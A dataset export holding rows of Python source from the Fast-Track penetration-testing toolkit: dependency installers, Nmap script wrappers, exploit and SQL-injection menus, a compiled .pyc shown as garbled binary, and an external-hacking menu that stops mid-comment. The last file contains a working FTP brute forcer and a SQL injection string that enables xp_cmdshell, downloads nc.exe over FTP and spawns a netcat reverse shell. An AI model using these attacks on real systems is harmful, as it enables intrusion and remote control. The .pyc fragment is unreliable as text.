id
int64
0
458k
file_name
stringlengths
4
119
file_path
stringlengths
14
227
content
stringlengths
24
9.96M
size
int64
24
9.96M
language
stringclasses
1 value
extension
stringclasses
14 values
total_lines
int64
1
219k
avg_line_length
float64
2.52
4.63M
max_line_length
int64
5
9.91M
alphanum_fraction
float64
0
1
repo_name
stringlengths
7
101
repo_stars
int64
100
139k
repo_forks
int64
0
26.4k
repo_open_issues
int64
0
2.27k
repo_license
stringclasses
12 values
repo_extraction_date
stringclasses
433 values
19,300
.pydevproject.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/.svn/text-base/.pydevproject.svn-base
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <?eclipse-pydev version="1.0"?> <pydev_project> <pydev_property name="org.python.pydev.PYTHON_PROJECT_INTERPRETER">Default</pydev_property> <pydev_property name="org.python.pydev.PYTHON_PROJECT_VERSION">python 2.5</pydev_property> <pydev_pathproperty name="org.python.pydev.PROJECT_SOURCE_PATH"> <path>/fasttrack</path> <path>/fasttrack/bin</path> </pydev_pathproperty> </pydev_project>
443
Python
.py
10
43.2
91
0.773148
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,301
depend.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/depend.py
#!/usr/bin/env python import os count=0 # Perform Dependency check print "\n\n\n\n\n***********************************************\n******* Performing dependency checks... *******\n***********************************************\n" try: import _mssql print "*** FreeTDS and PYMMSQL are installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* FreeTDS and PYMMSQL are NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing FreeTDS and PYMMSQL" slack1=os.system("wget http://ibiblio.org/pub/Linux/ALPHA/freetds/stable/freetds-stable.tgz") slack2=os.system("wget http://downloads.sourceforge.net/pymssql/pymssql-0.8.0.tar.gz") slack3=os.system("tar -zxvf freetds-stable.tgz;tar -zxvf pymssql-0.8.0.tar.gz;cd freetds-0.*;./configure --enable-msdblib --with-tdsver=8.0 && make && make install; cd ..;cd pymssql-0.8.0;ln -s /usr/local/lib/libsysbdb.so.5 /usr/lib;python setup.py install;cd ..;rm -rf freetds*;rm -rf pymssql*") print 'Running ldconfig....' ldconfig=os.system("ldconfig") print "FreeTDS and PYMMSQL Installed..." print "Re-checking dependency..." try: import _mssql #@UnusedImport print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing FreeTDS and PYMMSQL manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import pexpect print "*** PExpect is installed. (Check) ***" except ImportError: print "!!! *ERROR* PExpect is NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print 'Installing Module for Python Called "PExpect"' pexpect0=os.system('wget http://downloads.sourceforge.net/pexpect/pexpect-2.3.tar.gz;tar -zxvf pexpect-2.3.tar.gz;cd pexpect-2.3;python setup.py install;cd ..;rm -rf pexpect-2.3;rm pexpect-2.3.tar.gz') print "PExpect Installed..." print "Re-checking dependency..." try: import pexpect #@UnusedImport print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing FreeTDS and PYMMSQL manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import ClientForm print "*** ClientForm is installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* ClientForm is NOT installed. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing ClientForm Python Module" installclientform=os.system("svn co http://codespeak.net/svn/wwwsearch/ClientForm/trunk ClientForm;cd ClientForm;python setup.py install;cd ..;rm -rf ClientForm") print "ClientForm Installed." print "Re-checking dependency" try: import ClientForm #@UnusedImport print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "Something went wrong during the installation process, try installing ClientForm manually..." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import psyco psyco.full() print "*** Psyco is installed. (Check) ***" # count=count+1 except ImportError: pass try: from BeautifulSoup import BeautifulSoup print "*** Beautiful Soup is installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* Beautiful Soup is NOT installed...This is needed for SQLPwnage. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing BeautifulSoup Python Module" installbeatsoup=os.system("wget http://www.crummy.com/software/BeautifulSoup/download/BeautifulSoup.tar.gz;tar -zxvf BeautifulSoup.tar.gz;cd BeautifulSoup*;python setup.py install;cd ..;rm -rf BeautifulSoup*") print "BeautifulSoup Installed." print "Re-checking dependency" try: from BeautifulSoup import BeautifulSoup #@UnusedImport print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "BeautifulSoup is installed but you will need to restart Fast-Track in order for it to work properly." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" try: import pymills print "*** PyMills is installed. (Check) ***" count=count+1 except ImportError: print "!!! *ERROR* PyMills is NOT installed...This is needed for SQLPwnage. *ERROR* !!!" answer1=raw_input("Would you like to install it now? yes or no: ") if answer1=='yes' or answer1=='y': print "Installing PyMills Python Module, this may take a few mins" grabsetuptools=os.system("svn co http://svn.python.org/projects/sandbox/branches/setuptools-0.6/ pym;cd pym;python setup.py install;cd ..;rm -rf pym") installpymills=os.system('wget http://pypi.inqbus.de/pymills/pymills-3.4.tar.gz;tar -zxvf pymills-3.4.tar.gz;mv pymills-3.4 pymills;cd pymills/;python setup.py install;cd ..;rm -rf pymills*') print "PyMills Installed.." print "Re-checking dependancy" try: import pymills #@UnusedImport print "Installed successfully...This module is now functioning." count=count+1 except ImportError: print "PyMills is installed but you will need to restart Fast-Track in order for it to work properly." except KeyboardInterrupt: print "\nExiting Fast-Track...\n\n" print "\nAlso ensure ProFTP, WinEXE, and SQLite3 is installed from\nthe Updates/Installation menu." if count ==4: print "\nYour system has all requirements needed to run Fast-Track!" if count !=4: print "*WARNING* Your system is missing some components required for Fast-Track.. *WARNING*"
6,335
Python
.py
121
45.504132
304
0.67215
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,302
nsecommon.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/nsecommon.py
#!/usr/bin/env python '''Created on Sep 18, 2010 @author: Joey Furr (j0fer)''' import os from bin.include import print_banner from time import sleep # For NSE integration def runnse(command): print_banner() os.system(command) raw_input("\nPress <enter> to return...\n") def get_target(counter,self_banner): """ get user input, check for valid input, and loop back through if invalid input is entered. """ tries = counter target_input = raw_input(""" NOTE: A single host or a network/block can be specified for testing. examples: 192.168.1.21 192.168.1.0/24 Enter the host or range to be checked: """) if counter == 3: print_banner() print self_banner sleep(1) print " Just so you know...I can go on like this all day...." sleep(1) tries = 0 get_target(tries,self_banner) if target_input == "" or len(target_input.split(".")) != 4: print_banner() print self_banner print " *** YOU MUST ENTER A VALID HOST OR RANGE TO CHECK **" tries+=1 get_target(tries,self_banner) else: return(target_input)
1,209
Python
.py
36
26.777778
72
0.615785
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,303
include.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/include.py
#!/usr/bin/env python import os def get_version(): readversion=file("bin/version/version","r") for line in readversion: version=line.rstrip() return version def print_banner(): # os.system("clear") print ''' ***************************************************************** ** ** ** Fast-Track - A new beginning... ** ** Version: 4.0.1 ** ** Written by: David Kennedy (ReL1K) ** ** Lead Developer: Joey Furr (j0fer) ** ** http://www.secmaniac.com ** ** ** *****************************************************************'''
845
Python
.py
18
43.888889
79
0.309002
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,304
nmapsmbcheckvulns.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/nmapsmbcheckvulns.py
#!/usr/bin/env python from bin.include import print_banner from bin.nsecommon import get_target,runnse def nmapsmbcheckvulns_run(): """ Main execution logic: reuse common nse modules for this nse script """ self_banner = """ ** Nmap Scripting Engine: Script - smb-check-vulns ** ** ** ** Checks a host or network MS08-067 ** ** for vulnerability to: Conficker infection ** ** regsvc DoS: (When enabled) ** ** SMBv2 DoS: (When enabled) ** ***************************************************************** """ # BEGIN MAIN EXECUTION counter = 0 print_banner() print self_banner print " <ctrl>-c at any time to Cancel" # get the host or network to operate on target = get_target(counter,self_banner) # enable or disable this scripts arguments aggressive = raw_input("""\n Do you want to enable aggressive testing (regsvc, SMBv2 DoS)? WARNING: these checks can cause a Denial of Service! [y|n]: """) # check answer on aggressive mode if aggressive == "y" or aggressive == "yes": command = "nmap --script smb-check-vulns --script-args=unsafe=1 -p445 %s" % target runnse(command) if aggressive == "n" or aggressive == "no": command = "nmap --script smb-check-vulns -p445 %s" % target runnse(command) if __name__ == "__main__": # Allow this module to be run as a standalone script nmapsmbcheckvulns_run()
1,640
Python
.py
33
44.090909
97
0.556898
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,305
exploitmenu.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/exploitmenu.py
#!/usr/bin/env python import os,sys,time,subprocess definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() sys.path.append("%s/bin/exploits/" % (definepath)) while 1==1: try: include.print_banner() exploit1=raw_input(""" This section will attempt to compile some exploits coded in python, generally these exploits are from Muts, but may add others in time. Select your exploit: 1. HP OpenView Network Node Manager CGI Buffer Overflow 2. IBM Tivoli Storage Manager Express CAD Service Buffer Overflow 3. HP Openview NNM 7.5.1 OVAS.EXE Pre Authentication SEH Overflow 4. Quicktime 7.3 RTSP SEH Buffer Overflow 5. Goodtech SSH Server 6.4 Buffer Overflow 6. MS08-067 Microsoft Server Service Remote Buffer Overflow 7. mIRC 6.34 Remote Buffer Overflow Exploit 8. TFTP Server for Windows V1.4 ST 9. Internet Explorer XML Corruption Buffer Overflow 10. MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) 11. MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray 12. FireFox 3.5 Heap Spray Vulnerability (q)uit Enter number: """) if exploit1 == '1' : try: reload(hpopenview) except Exception: pass import hpopenview if exploit1 == '2' : try: reload(ibmcad) except Exception: pass import ibmcad if exploit1 == '3' : try: reload(hpopenviewnnm) except Exception: pass import hpopenviewnnm if exploit1 == '4' : try: reload(quicktime) except Exception: pass import quicktime if exploit1 == '5' : try: reload(goodtech) except Exception: pass import goodtech if exploit1 == '6' : try: reload(ms08067run) except Exception: pass import ms08067run if exploit1 == '7' : try: reload(mirc) except Exception: pass import mirc if exploit1 == '8' : try: reload(tftp) except Exception: pass import tftp if exploit1 == '9' : try: reload(xmlcorruptionbo) except Exception: pass import xmlcorruptionbo if exploit1 == '10' : try: reload(ms09002) except Exception: pass import ms09002 if exploit1 == '11' : try: reload(ie0day_activex) except Exception: pass import ie0day_activex if exploit1 == '12' : try: reload(firefox35) except Exception: pass import firefox35 if exploit1 == 'q' : print "\nReturning to previous menu...\n" break except Exception, e: print "\n\n The system may not be vulnerable. Printing Error: "+str(e)+"\n" print e
2,914
Python
.py
88
25.659091
84
0.630999
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,306
tutorialsmenu.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/tutorialsmenu.py
#!/usr/bin/env python import sys,os definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include # method to display the tutorial text def show_tutorial(tutorial_file): include.print_banner() print '\n' display = open(tutorial_file, 'r') try: for line in display: sys.stdout.write(line) finally: display.close() pause=raw_input("\nPress enter to return to menu") while 1==1: include.print_banner() tutmenu1=raw_input('''\nFast-Track Tutorials Menu: 1. General Functionality and Movement in Fast-Track 2. How to update Fast-Track 3. MetaSploit AutoPwn 4. SQL 1433 Hacking 5. SQL Injection HOWTO 6. FTP Brute Forcer 7. Spawning a Shell 8. Exploits 9. Mass Client-Side Attacks 10. Binary to Hex Payload Generator (q)uit Enter number: ''') #################################################################### if tutmenu1 == '1': tutorial_file="bin/ftsrc/tutorials/general_functionality.txt" show_tutorial(tutorial_file) if tutmenu1 == '2': tutorial_file="bin/ftsrc/tutorials/updating_fasttrack.txt" show_tutorial(tutorial_file) if tutmenu1 == '3': tutorial_file="bin/ftsrc/tutorials/metasploit_autopwn.txt" show_tutorial(tutorial_file) if tutmenu1 == '4': tutorial_file="bin/ftsrc/tutorials/sql_1433_hacking.txt" show_tutorial(tutorial_file) if tutmenu1 == '5': tutorial_file="bin/ftsrc/tutorials/sql_injection_howto.txt" show_tutorial(tutorial_file) if tutmenu1 == '6': tutorial_file="bin/ftsrc/tutorials/ftp_brute_forcer.txt" show_tutorial(tutorial_file) if tutmenu1 == '7': tutorial_file="bin/ftsrc/tutorials/spawn_command_shell.txt" show_tutorial(tutorial_file) if tutmenu1 == '8': tutorial_file="bin/ftsrc/tutorials/exploits_menu.txt" show_tutorial(tutorial_file) if tutmenu1 == '9': tutorial_file="bin/ftsrc/tutorials/mass_clientside_attack.txt" show_tutorial(tutorial_file) if tutmenu1 == '10': tutorial_file="bin/ftsrc/tutorials/binary_hex_payload.txt" show_tutorial(tutorial_file) if tutmenu1 == 'q': print '\n\nReturning to main menu...\n' break
2,275
Python
.py
65
29.553846
68
0.664528
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,307
sqlinjector.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/sqlinjector.py
#!/usr/bin/env python import os,sys,time definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include while 1==1: include.print_banner() menu=raw_input(""" Enter which SQL Injector you want to use: 1. SQL Injector - Query String Parameter Attack 2. SQL Injector - POST Parameter Attack 3. SQL Injector - GET FTP Payload Attack 4. SQL Injector - GET Manual Setup Binary Payload Attack (q)uit Enter your choice: """) if menu == 'quit' or menu == 'q': break # Start query string attack if menu == '1': try: reload(sqlbinarypayload) except Exception: pass import sqlbinarypayload # POST ATTACK if menu == '2': try: reload(sqlbinarypayloadpost) except Exception: pass import sqlbinarypayloadpost # Reverse FTP if menu == '3': try: reload(sqlftppayload) except Exception: pass import sqlftppayload # manual setup if menu == '4': try: reload(sqlmanual) except Exception: pass import sqlmanual
1,116
Python
.py
44
19.704545
60
0.638577
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,308
main.pyc
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/main.pyc
Ñò šƒkOcj@s¤ddkZddkZddkZddkZddkZyddkZeiƒWnej onXeiƒZ ei i de ƒddk Z ei i de ƒddk Z dZeddƒZxeD]ZeiƒZqÔWy†xddjoqe iƒedƒZed jo[y/ed dƒiƒZxPeD]HZeid eƒZeo)eiƒZeid ƒZedZq?q?Wedjo4yeeƒWnej onXddkZned jo4yeeƒWnej onXddkZnedjo4yeeƒWnej onXddkZnWq{ej odGHei dƒq{XnedjotyHei i de ƒyee!ƒWnej onXddk!Z!Wqüej odGHei dƒqüXnedjo`y4yee"ƒWnej onXddk"Z"Wqiej odGHei dƒqiXnedjo`y4yee#ƒWnej onXddk#Z#WqÖej odGHei dƒqÖXnedjotyHei i de ƒyee$ƒWnej onXddk$Z$WqWej odGHei dƒqWXnedjo`y4yee%ƒWnej oddk%Z%nXWqÄej odGHei dƒqÄXnedjotyHei i de ƒyee&ƒWnej onXddk&Z&WqEej odGHei dƒqEXnedjotyHei i de ƒyee'ƒWnej onXddk'Z'WqÆej odGHei dƒqÆXnedjo`y4yee(ƒWnej onXddk(Z(Wq3ej odGHei dƒq3XnedjotyHei i de ƒyee)ƒWnej onXddk)Z)Wq´ej odGHei dƒq´XnedjotyHei i de ƒyee*ƒWnej onXddk*Z*Wq5ej odGHei dƒq5Xnedjo(dGHei+d d!e,ƒZ-ei.ƒqðqðWWn-ej o!d"GHei+d#d!e,ƒZ-nXdS($iÿÿÿÿNs %s/bin/ftsrc/s %s/bin/setup/tsbin/version/versiontris� Fast-Track Main Menu: 1. Fast-Track Updates 2. Autopwn Automation 3. Nmap Scripting Engine 4. Microsoft SQL Tools 5. Mass Client-Side Attack 6. Exploits 7. Binary to Hex Payload Converter 8. Payload Generator 9. Fast-Track Tutorials 10. Fast-Track Changelog 11. Fast-Track Credits 12. Exit Fast-Track Enter the number: t1sbin/config/configs SHOWUPDATES=t=tYEStNOs" Returning to previous menu...it2t3t4t5s%s/bin/ftsrc/clientattack/t6t7s! Returning to previous menu...t8t9t10s# Returning to previous menu... t11t12s Exiting Fast-Track... sÜrm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm pentest 2> /dev/null;rm parse2.txt 2> /dev/null;rm parse.txt 2> /dev/null;rm binarypayload.txt 2> /dev/null;portscan.txt 2> /dev/nulltshells Exiting Fast-Track... sßrm sqlpassword 2> /dev/null;rm SqlScan.txt 2> /dev/null;rm sqlopen.txt 2> /dev/null;rm pentest 2> /dev/null;rm parse2.txt 2> /dev/null;rm parse.txt 2> /dev/null;rm binarypayload.txt 2> /dev/null;rm portscan.txt 2> /dev/null(/ttimetretostsyst subprocesstpsycotfullt ImportErrortgetcwdt definepathtpathtappendtincludetdependt updateconfigtfilet readversiontlinetrstriptversiont print_bannert raw_inputtmainmenut readlinest configfiletsearchtsplittreloadt updatemenut ExceptiontupdateftonlymenutKeyboardInterrupttsleeptautopwntnsemenut mssqlattackst massclientt exploitmenutbinarypayloadgent payloadgent tutorialsmenut changelogtcreditstPopentTruetcleanuptexit(((s'/var/pwnplug/fasttrack/bin/menu/main.pyt<module>sH<                       
4,295
Python
.py
66
62.939394
289
0.463888
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,309
updatemenu.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/updatemenu.py
#!/usr/bin/env python import os,time,sys,subprocess # import custom methods definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass while 1 == 1 : include.print_banner() menuz=raw_input(''' Fast-Track Update Menu: 1. Update Fast-Track 2. Metasploit 3 Update 3. Update Exploit-DB Exploits 4. Update Gerix Wifi Cracker NG 5. Update Social-Engineer Toolkt (q)uit Enter number: ''') if menuz == '1': # Start check update feature definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(updateft) except Exception: pass import updateft # End check update feature if menuz == '2': definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(updatemeta) except Exception: pass import updatemeta # Install menu end if menuz == '3': print "\nUpdating the Offsec Exploit-DB .exploits..." if not os.path.isfile("/pentest/exploits/exploitdb"): subprocess.Popen("cd /pentest/exploits;svn co svn://devel.offensive-security.com/exploitdb exploitdb/", shell=True).wait() subprocess.Popen("cd /pentest/exploits/exploitdb;svn update", shell=True).wait() if menuz == '4': print "Updating Gerix Wifi Cracker NG" subprocess.Popen("cd /usr/share;svn co svn://devel.offensive-security.com/gerix-ng", shell=True).wait() subprocess.Popen("cd /usr/share/gerix-ng;svn update", shell=True).wait() if menuz == '5': print "Updating the Social-Engineer Toolkit" #subprocess.Popen("cd /pentest/exploits/;svn co http://svn.secmaniac.com/social_engineering_toolkit SET/", shell=True).wait() subprocess.Popen("cd /pentest/exploits/SET;svn update", shell=True).wait() if menuz == 'q': break # End Updates Menu
1,947
Python
.py
56
29.607143
131
0.678781
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,310
sqlpwnagemenu.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/sqlpwnagemenu.py
#!/usr/bin/env python import os,sys,time try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/sqlpwnage/" % (definepath)) try: try: reload(sqlpwnage) except Exception: pass import sqlpwnage except Exception,e: print e
330
Python
.py
16
16.125
57
0.681818
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,311
nsemenu.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/nsemenu.py
#!/usr/bin/env python import os,sys,time,subprocess definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) sys.path.append("%s/bin/scanners/" % (definepath)) import include try: import psyco psyco.full() except ImportError: pass while 1==1: try: include.print_banner() exploit1=raw_input(""" The Nmap Scripting Engine is a powerful addition to Nmap, allowing for custom scripts which can fingerprint, scan, and even exploit hosts! Select your script: 1. Scan For SMB Vulnerabilities <ctrl>-c or (q)uit Enter number: """) if exploit1 == '1' : try: reload(nmapsmbcheckvulns) except Exception: pass import nmapsmbcheckvulns # if exploit1 == '2' : # try: reload(ibmcad) # except Exception: pass # import ibmcad if exploit1 == 'q' : print "\nReturning to previous menu...\n" break except Exception, e: print "\n\n The system may not be vulnerable. Printing Error: "+str(e)+"\n" print e
1,091
Python
.py
36
24.833333
84
0.637948
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,312
externalhacking.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/menu/externalhacking.py
#!/usr/bin/env python import os,time,re try: import psyco psyco.full() except ImportError: pass definepath=os.getcwd() # define metasploit path meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line while 1==1: menu = raw_input(""" External Pentesting Menu: 1. Port Scanning 2. Launch Manual MSFConsole 3. Autopwn Metasploit Automated 4. FTP Brute Forcer 5. Auto SQL Injector 6. Binary to Hex Payload Generator 7. Fast-Track Mass Client-Side Attack 8. Return to Previous Menu Enter a number: """) if menu == '1' : print """ FYI, this uses default scan options nmap -sT -A -v -P0 ip if your going against an IDS/IPS, I wouldn't use this. Example usage: 192.168.1.1-254 or 192.168.1.0-255.254 """ nmap1=raw_input("Enter the IP address you want to go after: ") print "Scanning systems...be patient...." nmap2=os.system("nmap -sT -A -v -P0 %s > portscan.txt" % (nmap1)) print "*** Results will be printed in under portscan.txt ***" nmap4=os.system("kwrite portscan.txt 2> /dev/null &") print 'Done.' # Start Metasploit choices if menu == '2' : metasploitchoice1=raw_input("""What do you want to launch, the MSF console or MSFWeb Interfaces? Enter 1 for console 2 for web: """) if metasploitchoice1 == '1': print 'Launching MSFConsole' metaconsole1=os.system("%s/msfconsole" % (metapath)) if metasploitchoice1 == '2': print 'Running Metasploit Web in the background, connect to port localhost:55555 in Mozilla to access..' metaconsole1=os.system("%s/msfweb &" % (metapath)) #Start Autopwn Automation if menu == '3': while 1==1 : menu1=raw_input("""\n\nChoose which option you would like to do:\n\n1. Run Metasploit Autopwn\n2. Update Metasploit\n3. Return to previous menu.\n\nChoose a number: """) if menu1=='3': print "Returning to previous menu..." time.sleep(1) break if menu1=='1': import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(autopwn) except Exception: pass import autopwn if menu1=='2': print "Updating Metasploit..." updatesmetasploit=os.system("svn update %s" % (metapath)) print "Metasploit updated. Returning to menu..." # start option 4 menu if menu == '4' : print "\n\nHere's a simple FTP brute forcer..It's a little slow, but works.\n\n" import ftplib,pexpect,threading, thread from ftplib import FTP try: ftp1=raw_input("Enter the ip address to target: ") ftp2=raw_input("Enter username to brute force: ") ftp3=raw_input("Enter path to wordlist example /root/wordlist.txt: ") def ftp4(): ftpconn=FTP('%s' % ftp1, 'anonymous', 'anonymous@anonymous.com') def ftp5(): ftpconn=FTP('%s' % ftp1, '%s' % ftp2, '%s' % line2) except Exception: print 'Error...Did you install PExpect???' try: print '\n\nTrying anonymous access first...' ftp4() print "Anonymous login successful!!!" print 'Logging in...' child=pexpect.spawn('bin/sh') child.sendline('ftp %s' % (ftp)) time.sleep(1) child.sendline('anonymous') time.sleep(5) child.sendline('anonymous@anonymous.com') child.interact() except (ftplib.all_errors): print "Anonymous didn't work...moving on\n" try: for line in open ('%s' % (ftp3)) : line2 = line[:-1] try: print 'Attempting brute force with password of %s' % line2 ftp5() print 'Successfully brute forced account with password of %s' % line2 print 'Successful FTP with username of %s with password of %s' % (ftp2,line2) print 'Logging in...' child = pexpect.spawn('/bin/sh') child.sendline ('ftp %s' % (ftp1)) time.sleep(1) child.sendline ('%s' % (ftp2)) time.sleep(6) child.sendline ('%s' % (line2)) child.interact() except (ftplib.all_errors): print 'Incorrect login..' except Exception: print 'Something went wrong...Did you install PExpect??' #End FTP Brute #Start SQL Injector if menu == '5' : sqlmenu=raw_input(""" Fast-Track SQL Injector There's four options you can use in this menu. One and the easiest is the binary payload. This injects a binary payload through SQL Injection and gives you a reverse shell. Requires nothing to be downloaded on the attackers machine, and is relatively quick. The second is the SQL Injector using FTP, Fast-Track will setup an FTP server for you, and reverse a netcat off of the affected system. The third step allows you to manually setup each connection if you need to customize the connection for any reason. The fourth menu generates the string used in the attack. If the parameter you need to inject in is within the source and not in the URL bar, you can use this to paste into something like BURP. 1. SQL Injector Binary Payload Auto 2. SQL Injector Using ProFTPD Auto 3. SQL Injector Manual Setup 4. SQL Injector Binary Payload Auto Form Attack 5. SQL String Generator 6. Return to previous menu Enter your choice: """) if sqlmenu == '1': import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbinarypayload) except Exception: pass import sqlbinarypayload # END SQL Injection Binary Payload Auto # Start SQL Injection FTP Auto if sqlmenu == '2': import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlftppayload) except Exception: pass import sqlftppayload # END SQL Injection FTP # Start Manual Setup Menu if sqlmenu == '3': import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlmanual) except Exception: pass import sqlmanual # END Manual SQL Injection Binary Payload # Start Auto SQL Injector Reverse RDP Over SSH # Start String Generator if sqlmenu == '4': import sys definepath=os.getcwd() sys.path.append("%s/bin/ftsrc/" % (definepath)) try: reload(sqlbinarypayloadpost) except Exception: pass import sqlbinarypayloadpost if sqlmenu == '5': print """ This portion allows you to generate each string used in each of the automated attacks. This allows you to customize on how you want... Sometimes the parameter isn't in the url and is within a specific form and need to use tools like BURP in order to paste into a specific session. """ sqlquestion1=raw_input(""" Enter the URL of the susceptible site, remember to put 'INJECTHERE for the injectible parameter Example: http://www.thisisafakesite.com/blah.aspx?id='INJECTHERE&password=blah Enter here: """) mainques=raw_input("""\n Do you want to use ftp to transfer the file on the victim or use binary payload generator? 1. FTP Generator 2. Binary Payload Generator Enter choice: """) # Start manual inject FTP generator if mainques== '1': sqlquestion2=raw_input("Enter the IP Address of your FTP Server: ") sqlquestion3=raw_input("Enter the Username for your FTP Server: ") sqlquestion4=raw_input("Enter the Password for your FTP Server: ") sqlquestion5=raw_input("Enter the IP Address where you have netcat listening: ") sqlquestion6=raw_input("Enter the port you have netcat running on: ") string1=(r"""';exec master..sp_addextendedproc "xp_cmdshell", "C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll";exec master..sp_configure "show advanced options", 1;RECONFIGURE;exec master..sp_configure "xp_cmdshell", 1;RECONFIGURE;exec master..xp_cmdshell 'echo open %s> moo.txt';exec master..xp_cmdshell 'echo failedlogin1>> moo.txt' ;exec master..xp_cmdshell 'echo failedlogin2>> moo.txt';exec master..xp_cmdshell 'echo user>> moo.txt';exec master..xp_cmdshell 'echo %s>> moo.txt';exec master..xp_cmdshell 'echo %s>> moo.txt';exec master..xp_cmdshell 'echo bin>> moo.txt';exec master..xp_cmdshell 'echo get nc.exe>> moo.txt';exec master..xp_cmdshell 'echo bye>> moo.txt';exec master..xp_cmdshell 'ftp -s:moo.txt';exec master..xp_cmdshell 'del moo.txt';exec master..xp_cmdshell 'nc.exe %s %s -e cmd.exe'--""" % (sqlquestion2,sqlquestion3,sqlquestion4,sqlquestion5,sqlquestion6)) sqlreplace = sqlquestion1.replace("'INJECTHERE", """%s""" % (string1)) print "\n\n" print "Generating string...Copy and paste this in your URL bar\n" time.sleep(2) print sqlreplace print "\nString generated...\n" pause=raw_input("\nPress enter to return to main menu.\n") # End manual inject FTP generator # Start SQL Injector Binary Payload Generator if mainques== '2': print """ This section generates the necessary strings in order to do a reverse binary payload. It has 25 strings it has to insert due to the size of the payload, but is generally much easier than having to rely off of FTP. """ import socket, pexpect ipaddr=socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sqlquestion2=raw_input("Enter the IP Address for your netcat or reverse shell server: ") sqlquestion3=raw_input("Enter the port number you want: ") # # Had to break up into multiple different requests due to the size of the payload and URL request # # Binary2Hex code used from IllWill, very nice small reverse payload. # # While this may look a little ugly from a cleanliness perspective, theres a weird bug echoing files through SQL. When using >> it doubles whatever # the command you are entering, for example if you wanted ot echo blah, it would echo blah blah into the file, which caused a major issue when # getting the debug format right. # # So I got around the above problem by echoing individual text files and then typing them into one large one. This ended up working (phew). # # I ran the binary through olly as well as process explorer and filemon. It only makes one call out when executed and thats to 